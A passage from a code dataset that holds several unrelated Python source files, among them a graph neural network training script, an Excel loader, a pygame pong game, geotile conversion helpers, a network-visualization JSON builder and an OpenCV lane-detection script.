spektral_tri_gnn.layers import FGSConv\nfrom spektral_tri_gnn.utils import normalized_laplacian, rescale_laplacian, normalized_adjacency, degree_power\nfrom sklearn.model_selection import GridSearchCV \nimport scipy.sparse as sp\nfrom scipy.sparse import csr_matrix\nfrom scipy.sparse.linalg.eigen.arpack import eigsh\nimport pandas as pd\nimport numpy as np\nfrom numpy import linalg\nimport os\nos.environ['KMP_DUPLICATE_LIB_OK']='True'\nimport inspect\nimport networkx as nx\nimport operator\nimport collections\nimport matplotlib.pyplot as plt\n\npath = os.getcwd()\n\n# Load data #\ndataset = 'citeseer'\nadj, node_features, y_train, y_val, y_test, train_mask, val_mask, test_mask = citation.load_data(dataset)\nnp_adj = adj.toarray()\noriginal_adj = adj.copy()\n\ndef topo_softmax(x):\n mask = ((x>0) -1) * 999999\n x_1 = np.exp(x + mask)\n x_2 = np.sum(x_1, axis=1)\n x_3 = x_1 / x_2.reshape(-1,1)\n nan_mask = np.isnan(x_3)\n x_3[nan_mask] = 0.\n return x_3\n\ntopo_var_2_dis_dgm_k_2 = np.load(path + '/inverse_wasserstein_distance.npy.npy', allow_pickle= True)\n\n\n# VAR #\npos_x_labels, pos_y_labels = np.where(topo_var_2_dis_dgm_k_2>1.)\npercent_pos = 1.\nsample_label_pos = (np.random.permutation(range(pos_x_labels.shape[0])))[:int(pos_x_labels.shape[0] * percent_pos)]\npreserve_pos_x_labels = pos_x_labels[sample_label_pos]\npreserve_pos_y_labels = pos_x_labels[sample_label_pos]\n\nneg_x_labels, neg_y_labels = np.where(((topo_var_2_dis_dgm_k_2>0)&(topo_var_2_dis_dgm_k_2<0.1)))\npercent_neg = 0.001\nsample_label_neg = (np.random.permutation(range(neg_x_labels.shape[0])))[:int(neg_x_labels.shape[0] * percent_neg)]\npreserve_neg_x_labels = neg_x_labels[sample_label_neg]\npreserve_neg_y_labels = neg_y_labels[sample_label_neg]\n\n\ndef var_preprocess(adj, r, pos_x_labels, pos_y_labels, neg_x_labels, neg_y_labels):\n if isinstance(r, int):\n adj_ = adj + sp.eye(adj.shape[0])\n adj_ = adj_ ** r\n adj_[adj_ > 1] = 1\n adj_ = adj_.toarray()\n adj_[pos_x_labels, pos_y_labels] = 1\n adj_[neg_x_labels, neg_y_labels] = 0\n adj_ = csr_matrix(adj_)\n rowsum = adj_.sum(1).A1\n degree_mat_inv_sqrt = sp.diags(np.power(rowsum, -0.5))\n adj_normalized = adj_.dot(degree_mat_inv_sqrt).T.dot(degree_mat_inv_sqrt).tocsr()\n else:\n #adj = adj + sp.eye(adj.shape[0])\n degrees_left = np.float_power(np.array(adj.sum(1)), -r).flatten()\n degrees_left[np.isinf(degrees_left)] = 0.\n normalized_D = sp.diags(degrees_left, 0)\n degrees_right = np.float_power(np.array(adj.sum(1)), (r - 1)).flatten()\n degrees_right[np.isinf(degrees_right)] = 0.\n normalized_D_right = sp.diags(degrees_right, 0)\n adj_normalized = normalized_D.dot(adj)\n adj_normalized = adj_normalized.dot(normalized_D_right)\n return adj_normalized\n\nfltr = var_preprocess(adj=adj, r=0.001, pos_x_labels = preserve_pos_x_labels, pos_y_labels= preserve_pos_y_labels, neg_x_labels= preserve_neg_x_labels\n , neg_y_labels=preserve_neg_y_labels)\n\n\n# STAN #\n# topo attension mechanism #\nec_x, ec_y = np.where(np.triu(topo_var_2_dis_dgm_k_2, k = 1)> 2.)\n\n# filter topo distance #\ntopo_var_2_dis_dgm_k_2[ec_x,ec_y] = 2.\ntopo_var_2_dis_dgm_k_2[ec_y,ec_x] = 2.\n\nnorm_topo_var_2_dis_dgm_k_2 = topo_softmax(topo_var_2_dis_dgm_k_2)\n\n# scalar setting #\nweight_1 = 500.\nweight_2 = 1.\nnorm_topo_var_2_dis_dgm_k_2 = norm_topo_var_2_dis_dgm_k_2 + np.eye(norm_topo_var_2_dis_dgm_k_2.shape[0])\nnew_features = (np.matmul(norm_topo_var_2_dis_dgm_k_2, node_features.toarray())/weight_1 + node_features.toarray())/weight_2\nnode_features = sp.lil_matrix(new_features)\n\n\n# Parameters #\nrecurrent = None\nN = node_features.shape[0]\nF = node_features.shape[1]\nn_classes = y_train.shape[1]\ndropout_rate = 0.75\nl2_reg = 5e-4\nlearning_rate = 1e-2\nepochs = 2000\nes_patience = 150\nrecur_num = 3 \n\nsigma = 0.55\nori_degrees = np.float_power(np.array(original_adj.sum(1)), -sigma).flatten()\nori_degrees[np.isinf(ori_degrees)] = 0.\nori_normalized_D = sp.diags(ori_degrees, 0)\n\nori_degrees_sec = np.float_power(np.array(original_adj.sum(1)), (sigma - 1)).flatten()\nori_degrees_sec[np.isinf(ori_degrees_sec)] = 0.\nori_normalized_D_sec = sp.diags(ori_degrees_sec, 0)\nori_fltr = ori_normalized_D.dot(original_adj)\nori_fltr = ori_fltr.dot(ori_normalized_D_sec)\n\n\n\n# Model definition #\nX_in = Input(shape=(F, ))\nfltr_in = Input((N, ), sparse=True)\n\ndropout_1 = Dropout(dropout_rate)(X_in)\ngraph_conv_1 = FGSConv(32,\n num_comp=4,\n num_filter=1,\n recurrent=recurrent,\n recur_num = recur_num,\n dropout_rate=dropout_rate,\n activation='elu',\n gcn_activation='elu',\n kernel_regularizer=l2(l2_reg))([dropout_1, fltr_in])\n\n\ndropout_2 = Dropout(dropout_rate)(graph_conv_1)\ngraph_conv_2 = FGSConv(n_classes,\n num_comp=2,\n num_filter=1,\n recurrent=recurrent,\n recur_num = recur_num,\n dropout_rate=dropout_rate,\n activation='softmax',\n gcn_activation=None,\n kernel_regularizer=l2(l2_reg))([dropout_2, fltr_in])\n\n# Build model\nmodel = Model(inputs=[X_in, fltr_in], outputs=graph_conv_2)\noptimizer = Adam(lr=learning_rate)\nmodel.compile(optimizer=optimizer,\n loss='categorical_crossentropy',\n weighted_metrics=['acc'])\nmodel.summary()\n\ncallbacks = [\n EarlyStopping(monitor='val_weighted_acc', patience=es_patience),\n ModelCheckpoint('best_model.h5', monitor='val_weighted_acc',\n save_best_only=True, save_weights_only=True)\n]\n\n# Train model #\nvalidation_data = ([node_features, ori_fltr], y_val, val_mask)\n\n\nmodel.fit([node_features, fltr],\n y_train,\n sample_weight=train_mask,\n epochs=epochs,\n batch_size=N,\n validation_data=validation_data,\n shuffle=False,\n callbacks=callbacks)\n\n# Load best model #\nmodel.load_weights('best_model.h5')\n\n# Evaluate model #\nprint('Evaluating model.')\neval_results = model.evaluate([node_features, ori_fltr],\n y_test,\n sample_weight=test_mask,\n batch_size=N)\nprint('Done.\\n'\n 'Test loss: {}\\n'\n 'Test accuracy: {}'.format(*eval_results))\n","repo_name":"icmltrignn/icmltrignn","sub_path":"TRIM_Citation_Network/Citeseer/TIMR_TRI_GNN_A.py","file_name":"TIMR_TRI_GNN_A.py","file_ext":"py","file_size_in_byte":6766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72706345114","text":"from multiprocessing import Pool\nfrom pathlib import Path\nfrom typing import Dict, List, Union\n\nimport pandas as pd\nfrom loguru import logger\n\n\nclass ExcelData:\n \"\"\"\n Parse excel files in multiple files into a single dataframe.\n\n ```python\n ed = ExcelData(\n path=\".\", read_excel_kwargs={\"sheet_name\": \"Sheet1\", usecols=\"A:B\"}\n )\n ```\n\n :param path: Path to the folder containing the excel files.\n :param processes: Number of processes to use.\n :param read_excel_kwargs: Keyword arguments to pass to pandas.read_excel.\n :param file_extension: File extension to look for.\n \"\"\"\n def __init__(\n self, path: Union[Path, str],\n processes: int = 1, read_excel_kwargs: Dict = {},\n file_extension: str = \"xlsx\",\n ):\n if isinstance(path, str):\n self.path = Path(path)\n elif isinstance(path, Path):\n self.path = path\n else:\n raise TypeError(f\"path must be a string or Path, not {type(path)}\")\n self.processes = processes\n self.read_excel_kwargs = read_excel_kwargs\n self.file_extension = file_extension\n\n @property\n def files(self) -> List[Dict]:\n xlsx_paths = self.path.glob(f\"**/*.{self.file_extension}\")\n return [\n {\n \"name\": p.stem,\n \"path\": p,\n \"folder\": str(p.parent),\n }\n for p in xlsx_paths\n if not p.stem.startswith(\"~$\")\n ]\n\n def _file_to_dataframe(self, file: Dict) -> Dict:\n logger.info(f\"Reading {file['name']}\")\n df = pd.read_excel(file[\"path\"], **self.read_excel_kwargs)\n df[\"extras_folder\"] = file[\"folder\"]\n df[\"extras_name\"] = file[\"name\"]\n df[\"extras_path\"] = file[\"path\"]\n\n return df\n\n def _all_files_to_dataframe(self) -> pd.DataFrame:\n if self.processes >= 1:\n pool = Pool(processes=self.processes)\n df_list = pool.map(self._file_to_dataframe, self.files)\n else:\n df_list = [self._file_to_dataframe(f) for f in self.files]\n\n df = pd.concat(df_list)\n\n return df\n\n def __call__(self) -> pd.DataFrame:\n df = self._all_files_to_dataframe()\n return df\n","repo_name":"kausalflow/experimentalist-data","sub_path":"experimentalist_data/excel/excel_data.py","file_name":"excel_data.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10923195408","text":"import pygame, sys\nimport random\nimage= pygame.image.load(\"Background_Sheep.png\")\n\n#class that defines the object pingpongball\nclass PingPongBallClass(pygame.sprite.Sprite):\n def __init__(self, image_file, speed, location):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(image_file)\n self.rect = self.image.get_rect()\n self.rect.left, self.rect.top = location\n self.speed = speed\n\n def move(self):\n global score, scoreFont,scoreSurf\n self.rect = self.rect.move(self.speed)\n\n if self.rect.left < 0 or self.rect.right > screen.get_width():\n self.speed[0] =- self.speed[0]\n global hitWallList\n hitWallList= pygame.mixer.Sound(random.choice([\"baa_1.wav\", \"baa_2.wav\"]))\n hitWallList.set_volume(0.4)\n hitWallList.play()\n if self.rect.top <=0:\n self.speed[1] =- self.speed[1]\n score = score + 1\n scoreSurf = scoreFont.render(str(score),1,(255,0,0))\n if score > 10:\n self.speed[1] = self.speed[1] * speedMultiplierX ## needs to change\n\n # increase game difficulty depending on score by increasing ball speed\n\n \"\"\"\n ## things to improve upon\n difficulty = speed change [1] \n \n if score increments in 10:\n \n difficulty increases on the condition that it is same life \n \n and so on and so forth\n \n if dies and still have life left, difficulty is lowered, speed is dropped to previous difficulty setting\n \n note: difficulty appears next to scoreSurf value \n \n \"\"\"\n\n#class that defines the object paddle\nclass PaddleClass(pygame.sprite.Sprite):\n def __init__(self,location):\n pygame.sprite.Sprite.__init__(self)\n image_surface = pygame.surface.Surface([100,20])\n image_surface.fill([0,0,0])\n self.image = image_surface.convert()\n self.rect = self.image.get_rect()\n self.rect.left, self.rect.top = location\n\n\n#setting up main file\npygame.init()\nscreen = pygame.display.set_mode([640,480])\nclock = pygame.time.Clock()\nball_speed = [random.randint(4,7),random.randint(3,5)]\nspeedMultiplierX = 1.05\nscore = 0\nlives = 3\n\n\n##creating object class\npingpongball = PingPongBallClass(\"sheep_ball.png\", ball_speed,[50,50])\nballGroup = pygame.sprite.Group(pingpongball)\npaddle = PaddleClass([270,400])\n\n##creating font\nscoreFont = pygame.font.Font(None,50)\nscoreSurf = scoreFont.render(str(score),1,(255,0,0))\nscorePosition = [10,10]\n\n#running the file\ndone = False\nrunning = True\n\n#MUSIC\n#BEEP BEEP I'M A SHEEP! Change colours every 10 seconds\npygame.mixer.music.load(\"beep_beep_sheep.mp3\")\npygame.mixer.music.set_volume(.09)\npygame.mixer.music.play(-1)\n\n#sounds\nhitPaddle = pygame.mixer.Sound(\"quack.wav\")\nhitPaddle.set_volume (0.4)\nnuu = pygame.mixer.Sound(\"Nuu.wav\")\nnuu.set_volume(0.7)\nnewLife = pygame.mixer.Sound(\"new_life.wav\")\nnewLife.set_volume(0.3)\ngameOver = pygame.mixer.Sound(\"fuck.wav\")\ngameOver.set_volume(0.3)\n\npygame.time.set_timer(pygame.USEREVENT,10000)\ncolour = [random.randint(0,255),random.randint(0,255), random.randint(0,255)]\n\nwhile running:\n clock.tick(60)\n screen.fill(colour)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n frame_rate = clock.get_fps()\n print(\"Frame rate =\", frame_rate)\n elif event.type == pygame.MOUSEMOTION:\n paddle.rect.centerx = event.pos[0]\n if event.type == pygame.USEREVENT:\n colour = [random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)]\n\n if not done:\n # collision between pong + paddle\n if pygame.sprite.spritecollide(paddle, ballGroup, False):\n pingpongball.speed[1] = - pingpongball.speed[1]\n hitPaddle.play()\n\n pingpongball.move()\n\n screen.blit(image,(0,0))\n screen.blit(pingpongball.image, pingpongball.rect)\n screen.blit(paddle.image, paddle.rect)\n screen.blit(scoreSurf, scorePosition)\n\n ##Lives left visible to user\n for i in range(lives):\n width = screen.get_rect().width\n screen.blit(pingpongball.image, [width - 40 * i, 20])\n pygame.display.flip()\n\n\n #if ball falls off the edge : a. GameOver b. Continue\n if pingpongball.rect.top >= screen.get_rect().bottom:\n lives = lives - 1\n nuu.play()\n if lives == 0:\n nuu.stop()\n newLife.stop()\n hitWallList.stop()\n hitPaddle.stop()\n pygame.mixer.music.stop()\n pygame.time.delay(1000)\n gameOver.play()\n final_text1 = \"Game Over!\"\n final_text2 = \"Your final score is: \" + str(score)\n final_text3 = \"That's a terrible score. You can do better than that.\"\n ft1Font = pygame.font.Font(None, 100)\n ft1Surf = ft1Font.render(final_text1, 1, (255, 0, 0))\n ft2Font = pygame.font.Font(None, 50)\n ft2Surf = ft2Font.render(final_text2, 1, (0, 255, 0))\n ft3Font = pygame.font.Font(None, 20)\n ft3Surf = ft3Font.render(final_text3, 1, (0, 255, 0))\n\n screen.blit(ft1Surf, [screen.get_width() / 2 - ft1Surf.get_width() / 2, 100])\n screen.blit(ft2Surf, [screen.get_width() / 2 - ft2Surf.get_width() / 2, 200])\n screen.blit(ft3Surf, [screen.get_width() / 2 - ft3Surf.get_width() / 2, 450])\n pygame.display.flip()\n done = True\n else:\n newLife.play()\n pygame.time.delay(1500)\n pingpongball.rect.topleft = [50,50]\n\npygame.quit()\n","repo_name":"tollybe/PracticeofNeuralNets","sub_path":"ProgrammingBasics/Python 3/PongGame.py","file_name":"PongGame.py","file_ext":"py","file_size_in_byte":5708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"27209101013","text":"# -*- coding:utf-8 -*-\n# @Time : 2021/7/4 21: 37\n# @Author : Ranshi\n# @File : 123.py\nfrom typing import List\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def findMode(self, root: TreeNode) -> List[int]:\n counter = {}\n\n def pre_order(idx: TreeNode):\n if idx:\n if idx.val in counter:\n counter[idx.val] += 1\n else:\n counter[idx.val] = 1\n pre_order(idx.left)\n pre_order(idx.right)\n\n pre_order(root)\n res = []\n _max = 0\n for key in counter:\n _max = max(_max, counter[key])\n for key in counter:\n if counter[key] == _max:\n res.append(key)\n return res\n","repo_name":"Zranshi/leetcode","sub_path":"my-code/501/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"3212063047","text":"import os, locale\n\nclass Language():\n def __init__(self):\n local = locale.getdefaultlocale()[0]\n if local.startswith(\"pl\"):\n from .pl import PL_lang\n self.lang = PL_lang()\n else:\n from .en import EN_lang\n self.lang = EN_lang()","repo_name":"invite-me/invite.me","sub_path":"languages/lang.py","file_name":"lang.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"27657951799","text":"def calcCircleArea(radius) :\n pi = 3.14\n return pi * radius ** 2\n\ndef myFunc1() :\n print(\"in myFunc1\")\n\ndef myMainFunc() :\n myFunc1()\n print(\"In myMainFunc\")\n\n\nmyMainFunc()\n\nareaOfCircle1 = calcCircleArea(3.4)\nprint(f\"areaOfCircle1 = {areaOfCircle1}\")\n\nareaOfCircle2 = calcCircleArea(3)\nprint(f\"areaOfCircle2 = {areaOfCircle2}\")\n\nval = \"3.4\"\nval = float(val)","repo_name":"zainhabib/PyToots","sub_path":"function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"33623718164","text":"import math\nfrom typing import Tuple, Union\n\n\ndef geotile_to_lat_lon(\n tile: Union[str, Tuple[int, int, int]],\n offset: Tuple[float, float] = (.5, .5),\n) -> Tuple[float, float]:\n \"\"\"\n Convert an elasticsearch geotile key to a latitude/longitude tuple\n\n Specific implementation is adapted from bing-map's\n `quadtile example code //``\n - or a **tuple** containing ``zoom``, ``x`` and ``y`` as integers\n\n :param offset:\n A float tuple that defines the offset inside the map-tile\n in range ``[0, 1]``. Defaults to the center of the tile: ``(.5, .5)``\n\n :return: tuple of latitude and longitude as float\n \"\"\"\n if isinstance(tile, tuple):\n zoom, x, y = tile\n else:\n zoom, x, y = (int(i) for i in tile.split(\"/\"))\n\n num_tiles = 2 ** zoom\n x = (x + offset[0]) / num_tiles\n y = (y + offset[1]) / num_tiles\n\n lon = 360. * x - 180.\n lat = 90. - 360. * math.atan(math.exp((y - .5) * 2 * math.pi)) / math.pi\n\n return lat, lon\n\n\ndef geohash_to_lat_lon(\n hash: str,\n) -> Tuple[float, float]:\n \"\"\"\n Convert a `geohash `__ to\n a tuple with latitude and longitude.\n\n Uses `pygeohash `__.decode()\n so the package must be installed.\n\n :param hash: The geohash string\n\n :return: tuple of latitude and longitude as float\n \"\"\"\n import pygeohash\n return pygeohash.decode(hash)\n","repo_name":"netzkolchose/elastipy","sub_path":"elastipy/geo_conv.py","file_name":"geo_conv.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"29688299237","text":"import pandas as pd\nimport numpy as np\nimport math\nimport seaborn as sns\n\ndef clean_nodes():\n\n nodes_df=pd.read_csv(\"query_nodes.csv\",header = 0)\n \n def get_color(query_type):\n if query_type == \"Query\":\n return \"#fc0800\"\n else:\n return \"#99beff\"\n \n def get_class(query_type):\n if query_type == \"Query\":\n return \"level3\"\n else:\n return \"level0\"\n \n def get_display(query_type):\n if query_type==\"Direct\":\n return \"none\"\n else:\n return \"element\"\n \n nodes_df[\"Color\"] = nodes_df[\"Type\"].apply(get_color)\n nodes_df[\"class\"] = nodes_df[\"Type\"].apply(get_class)\n nodes_df[\"display\"] = nodes_df[\"Type\"].apply(get_display)\n\n return nodes_df\n\n\n \ndef clean_edges():\n nodes_df = pd.read_csv(\"query_nodes.csv\",header = 0)\n direct_nodes = nodes_df[nodes_df[\"Type\"]==\"Direct\"][\"Id\"].tolist()\n edges_df=pd.read_csv(\"query_edges.csv\",header = 0)\n \n def get_width(x):\n if x<50:\n return x+10\n else:\n return math.log(x,10)+60\n\n #Take square root of thickness column so values aren't too big\n edges_df[\"edge_width\"]=edges_df[\"thickness\"].apply(get_width)\n\n #Convert the color col into hex color strings\n def convert_col(color_val, palette):\n if float(color_val) < -0.8:\n return palette[0]\n elif float(color_val)< -0.6:\n return palette[1]\n elif float(color_val)< -0.4:\n return palette[2]\n elif float(color_val)< -0.2:\n return palette[3]\n elif float(color_val)< 0:\n return palette[4]\n elif float(color_val)< 0.2:\n return palette[5]\n elif float(color_val)< 0.4:\n return palette[6]\n elif float(color_val)< 0.6:\n return palette[7]\n elif float(color_val)< 0.8:\n return palette[8]\n return palette[9]\n \n pal = list(sns.color_palette(\"RdBu\", 10).as_hex())\n edges_df[\"color\"]=edges_df[\"color\"].apply(convert_col, args=(pal,))\n \n def get_display(id1, id2, direct_nodes):\n if id1 in direct_nodes or id2 in direct_nodes:\n return \"none\"\n else:\n return \"element\"\n \n edges_df['display'] = edges_df.apply(lambda x: get_display(x.source, x.target, direct_nodes=direct_nodes), axis=1)\n\n return edges_df\n\ndef get_square_clusters():\n nodes_df=pd.read_csv(\"query_nodes.csv\",header = 0)\n edges_df = pd.read_csv(\"query_edges.csv\", header=0)\n \n is_query = nodes_df[nodes_df[\"Type\"] == \"Query\"][\"Id\"].tolist()\n is_connected = list(set(edges_df[\"source\"].tolist()) | set(edges_df[\"target\"].tolist())) #All non-orphans\n query_orphans = list(set(is_query) - set(is_connected)) # Non-connected query nodes\n query_conn = list(set(is_query) - set(query_orphans)) # Connected query nodes\n \n linkers = nodes_df[nodes_df[\"Type\"] == \"Linker\"][\"Id\"].tolist()\n direct = nodes_df[nodes_df[\"Type\"] == \"Direct\"][\"Id\"].tolist()\n n_linkers = int(math.sqrt(len(linkers)))\n \n # Align connected query nodes\n if len(linkers) == 0:\n align = [{\"nodeId\": query_conn[i], \"position\": {\"x\": 1000*(i%2), \"y\": 1000*(i//2)}} for i in range(len(query_conn))]\n else:\n align = [{\"nodeId\": query_conn[i], \"position\": {\"x\": (n_linkers*500+5000)*(i%2), \"y\": (n_linkers)*100*(i//2+1)}} for i in range(len(query_conn))]\n \n # Align linker nodes \n y_coord = 0\n x_coord = 2500\n for i in range(len(linkers)):\n align.append({\"nodeId\":linkers[i], \"position\":{\"x\":x_coord, \"y\":y_coord}})\n x_coord += 500\n if i%n_linkers == 0:\n x_coord = 2500\n y_coord += 500\n \n # Align orphan query nodes\n y_coord = -500\n x_coord = -500\n n_orphans = int(math.sqrt(len(query_orphans)))\n for i in range(len(query_orphans)):\n align.append({\"nodeId\":query_orphans[i], \"position\":{\"x\":x_coord, \"y\":y_coord}})\n x_coord -= 500\n if (i+1)%n_orphans == 0:\n x_coord = -500\n y_coord -= 500\n \n return align\n\n\n#original function\ndef get_orig_clusters():\n nodes_df=pd.read_csv(\"query_nodes.csv\",header = 0)\n edges_df = pd.read_csv(\"query_edges.csv\", header=0)\n \n is_query = nodes_df[nodes_df[\"Type\"] == \"Query\"][\"Id\"].tolist()\n is_connected = list(set(edges_df[\"source\"].tolist()) | set(edges_df[\"target\"].tolist())) #All non-orphans\n query_orphans = list(set(is_query) - set(is_connected)) # Non-connected query nodes\n query_conn = list(set(is_query) - set(query_orphans)) # Connected query nodes\n \n linkers = nodes_df[nodes_df[\"Type\"] == \"Linker\"][\"Id\"].tolist()\n direct = nodes_df[nodes_df[\"Type\"] == \"Direct\"][\"Id\"].tolist()\n if len(linkers) == 0:\n align = [{\"nodeId\": query_conn[i], \"position\": {\"x\": 1000*(i%2), \"y\": 1000*(i//2)}} for i in range(len(query_conn))]\n else:\n align = [{\"nodeId\": query_conn[i], \"position\": {\"x\": 10000*(i%2), \"y\": 10000*(i//2)}} for i in range(len(query_conn))]\n \n orph_align = [{\"nodeId\": query_orphans[i], \"position\": {\"x\": (-500-500*(i%2)), \"y\": -500*(i//2)}} for i in range(len(query_orphans))]\n align.extend(orph_align)\n align_linkers_n1 = [{\"left\": query_conn[0], \"right\": x, \"gap\": 2500} for x in linkers]\n align_linkers_n2 = [{\"left\": x, \"right\": query_conn[1], \"gap\": 2500} for x in linkers]\n align_linkers = align_linkers_n1 + align_linkers_n2\n return (align, align_linkers) \n\n#Convert nodes and edges tables into one json-style list\ndef convert(nodes_df, edges_df):\n\n nodes=[]\n for _, row in nodes_df.iterrows():\n parts=row.values.tolist()\n nodes.append(parts)\n\n elements=[]\n for node in nodes:\n node_dict={\"data\":{\"id\":node[0], \"label\":node[1], \"type\":node[3], \"syn\":node[2],\n \"color\":node[4], \"classes\":node[5], \"display\":node[6], \"orig_display\":node[6]}}\n elements.append(node_dict)\n\n edges=[]\n for _, row in edges_df.iterrows():\n parts=row.values.tolist()\n edges.append(parts)\n \n for edge in edges:\n edge_id=edge[3]+edge[4]\n edge_dict={\"data\":{\"id\":edge_id, \"source\":edge[3], \"target\":edge[4], \n \"weight\":edge[5], \"color\":edge[0], \n \"ev\":edge[2], \"display\":edge[6], \"orig_display\":edge[6],\n \"thickness\":edge[1]}}\n elements.append(edge_dict)\n\n return elements\n\ndef clean():\n nodes_df=clean_nodes()\n edges_df=clean_edges()\n return convert(nodes_df, edges_df)\n\n\n\n\n\n","repo_name":"micw42/VERIT","sub_path":"Visualization/to_json_netx.py","file_name":"to_json_netx.py","file_ext":"py","file_size_in_byte":6631,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"7793055000","text":"import cv2\nimport math\nimport numpy as np\nclass PIDController:\n def __init__(self, kp, ki, kd):\n self.kp = kp\n self.ki = ki\n self.kd = kd\n self.previous_error = 0\n self.integral = 0\n\n def update(self, error, dt):\n # 计算积分项\n self.integral += error * dt\n # 计算微分项\n derivative = (error - self.previous_error) / dt\n # 记录当前误差,用于下一次微分计算\n self.previous_error = error\n # 计算PID输出\n output = self.kp * error + self.ki * self.integral + self.kd * derivative\n return output\n\n\ndef check(x1,x2,y1,y2):\n k=(y2-y1)/(x2-x1)\n if k>0 and k<0.4:\n return 1\n elif k<0 and k>-0.4:\n return -1\n else:\n return False\ndef is_close(line1, line2, threshold):\n\n x1, y1, x2, y2 = line1\n x3, y3, x4, y4 = line2\n\n #计算两点之间的距离\n def distance(x1, y1, x2, y2):\n return math.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2)\n # return x2-x1+y2-y1\n\n # 计算并检查所有可能的端点对之间的距离\n if (distance(x1, y1, x3, y3) < threshold or\n distance(x1, y1, x4, y4) < threshold or\n distance(x2, y2, x3, y3) < threshold or\n distance(x2, y2, x4, y4) < threshold):\n return True\n\n return False\n\ndef turn_in(image):\n # 读取图片\n # image = cv2.imread('WIN_20231126_20_59_29_Pro.jpg')\n # image = cv2.imread('WIN_20231126_21_01_30_Pro.jpg')\n x_start = 0\n y_start = 50\n x_end = 640\n y_end = 320\n\n # 裁剪图像\n image = image[y_start:y_end, x_start:x_end]\n # 转换为灰度图像\n image = cv2.convertScaleAbs(image, alpha=1.0, beta=20)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n\n # 应用 Canny 边缘检测\n \n edges = cv2.Canny(gray, 80, 220, apertureSize=3)\n \n # 使用 Hough 线变换\n lines = cv2.HoughLinesP(edges, 1, np.pi/180, 100, minLineLength=150, maxLineGap=60)\n\n # print(type(lines))\n # 绘制的空白图像\n line_image = np.copy(image) * 0\n\n # 检查线条\n count=0\n line_check_pos=[]\n line_check_neg=[]\n min_distance=0xffffffff\n for line in lines:\n x1, y1, x2, y2 = line[0]\n if check(x1,x2,y1,y2)==1:\n cv2.line(line_image, (x1, y1), (x2,y2), (255, 0, 0), 3)\n line_check_pos.append(line[0])\n elif check(x1,x2,y1,y2)==-1:\n cv2.line(line_image, (x1, y1), (x2,y2), (255, 0, 0), 3)\n line_check_neg.append(line[0])\n print(len(line_check_neg)+len(line_check_pos))\n line_image = cv2.addWeighted(image, 0.8, line_image, 3, 0)\n # cv2.imshow('Result', line_image)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n for pos in line_check_pos:\n for neg in line_check_neg:\n if is_close(pos,neg,55):\n count+=1\n print(count)\n return count>=1\n# image = cv2.imread('C:/Users/fall/Pictures/Camera Roll/WIN_20231126_20_57_48_Pro.jpg.jpg')\nimage = cv2.imread('WIN_20231126_20_59_29_Pro.jpg')\nimage = cv2.resize(image,(640,320))\nprint(turn_in(image))\n# print(count)\n\ndef turn_out():\n pass\n# 显示图像\n\n# import cv2\n# import numpy as np\n\n# class PIDController:\n# def __init__(self, kp, ki, kd):\n# self.kp = kp\n# self.ki = ki\n# self.kd = kd\n# self.previous_error = 0\n# self.integral = 0\n\n# def update(self, error, dt):\n# # 计算积分项\n# self.integral += error * dt\n# # 计算微分项\n# derivative = (error - self.previous_error) / dt\n# # 记录当前误差,用于下一次微分计算\n# self.previous_error = error\n# # 计算PID输出\n# output = self.kp * error + self.ki * self.integral + self.kd * derivative\n# return output\n\n# # 设置PID参数\n# def detect_lane(image):\n# # 转换到灰度图像\n# gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n# # 应用高斯模糊\n# blur = cv2.GaussianBlur(gray, (5, 5), 0)\n# # Canny 边缘检测\n# edges = cv2.Canny(blur, 100, 170)\n \n# # 霍夫变换检测直线\n# lines = cv2.HoughLinesP(edges, 1, np.pi / 180, 50, None, minLineLength=50, maxLineGap=10)\n \n# return lines\n# pid = PIDController(kp=0.1, ki=0.01, kd=0.05)\n\n# def get_steering_angle(lines, image_width):\n# line_image = np.copy(image) * 0\n# if lines is None:\n# return 0 # 如果没有检测到线条,返回0表示直行\n\n# # 初始化左右线条的坐标点\n# left_line_points = []\n# right_line_points = []\n\n# # 遍历所有检测到的线条,分为左右两组\n# for line in lines:\n# for x1, y1, x2, y2 in line:\n# slope = (y2 - y1) / (x2 - x1) # 计算斜率\n# if slope < 0 : # 斜率小于0的为左边的线\n# left_line_points.append((x1, y1))\n# left_line_points.append((x2, y2))\n# cv2.line(line_image, (x1, y1), (x2, y2), (255, 0, 0), 3)\n\n# elif slope >0: # 斜率大于0的为右边的线\n# right_line_points.append((x1, y1))\n# right_line_points.append((x2, y2))\n# cv2.line(line_image, (x1, y1), (x2, y2), (255, 0, 0), 3)\n# # for r in right_line:\n# # for l in left_line:\n# # if \n# cv2.imshow('Result', line_image)\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()\n# # 计算每边线条的平均点\n# left_avg = np.mean(left_line_points, axis=0) if left_line_points else None\n# right_avg = np.mean(right_line_points, axis=0) if right_line_points else None\n\n# # 找到最底部的中心点\n# center_point_x = (left_avg[0] + right_avg[0]) / 2 if left_avg is not None and right_avg is not None else image_width / 2\n\n# # 计算中心点与图像中心的偏差\n# center_offset = center_point_x - (image_width / 2)\n\n# # 